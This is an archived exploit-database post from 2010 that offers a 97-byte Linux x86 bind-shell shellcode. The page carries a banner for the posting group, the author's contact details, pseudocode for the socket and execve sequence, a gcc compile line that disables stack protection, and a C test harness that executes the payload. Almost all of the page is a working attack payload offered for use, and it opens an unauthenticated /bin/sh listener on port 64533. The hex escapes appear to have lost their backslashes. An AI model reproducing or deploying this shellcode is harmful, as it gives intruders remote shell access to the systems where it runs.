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linux/x86 bind sh@64533 97 bytes

Posted on 05 July 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>linux/x86 bind sh@64533 97 bytes</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>================================
linux/x86 bind sh@64533 97 bytes
================================


#include &lt;stdio.h&gt;
#include &lt;string.h&gt;

/*

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /'             __  /'__`        / \__  /'__`                   0
0  /\_,     ___   /\_/\_      ___  ,_/ /   _ ___           1
1  /_/  /' _ ` / /_/_\_&lt;_  /'___  /    /`'__          0
0       / /    /   / \__/  \_  \_   /           1
1       \_ \_ \_\_   \____/ \____\ \__\ \____/ \_           0
0       /_//_//_/ \_ /___/  /____/ /__/ /___/  /_/           1
1                   \____/ &gt;&gt; Exploit database separated by exploit   0
0                   /___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1     ###############################################################  1
0     I'm Magnefikko member from Inj3ct0r Team &amp; Promhyl Studies Team  1
1     ###############################################################  0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

by Magnefikko
 05.07.2010
 magnefikko@gmail.com
 Promhyl Studies :: http://promhyl.tk
 Subgroup: #PRekambr
 Name: 97 bytes bind sh@64533
 Platform: Linux x86
   sock = socket(PF_INET, SOCK_STREAM, 0);
 bind(sock, *[2, 64533, 0], 16);
 listen(sock, 5);
 nsock = accept(sock, 0, 0);
 dup2(nsock, 0);
 dup2(nsock, 1);
 execve(&quot;/bin/sh&quot;, 0, 0); // http://promhyl.tk/index.php?a=art&amp;art=83

 gcc -Wl,-z,execstack filename.c

 shellcode:

x6ax66x6ax01x5bx58x99x52x6ax01x6ax02x89xe1xcdx80x89xc6x6ax66x58x43x52x66x68xfcx15x66x53x89xe1x6ax10x51x56x89xe1xcdx80x6ax66x58x43x43x6ax05x56xcdx80x6ax66x58x43x52x52x56x89xe1xcdx80x89xc3x6ax3fx58x31xc9xcdx80x6ax3fx58x41xcdx80x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x99x50xb0x0bx59xcdx80

*/


int main(){
 char shell[] =
&quot;x6ax66x6ax01x5bx58x99x52x6ax01x6ax02x89xe1xcdx80x89xc6x6ax66x58x43x52x66x68xfcx15x66x53x89xe1x6ax10x51x56x89xe1xcdx80x6ax66x58x43x43x6ax05x56xcdx80x6ax66x58x43x52x52x56x89xe1xcdx80x89xc3x6ax3fx58x31xc9xcdx80x6ax3fx58x41xcdx80x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x99x50xb0x0bx59xcdx80&quot;;
 printf(&quot;by Magnefikko
magnefikko@gmail.com
promhyl.tk

strlen(shell)
= %d
&quot;, strlen(shell));
 (*(void (*)()) shell)();
}


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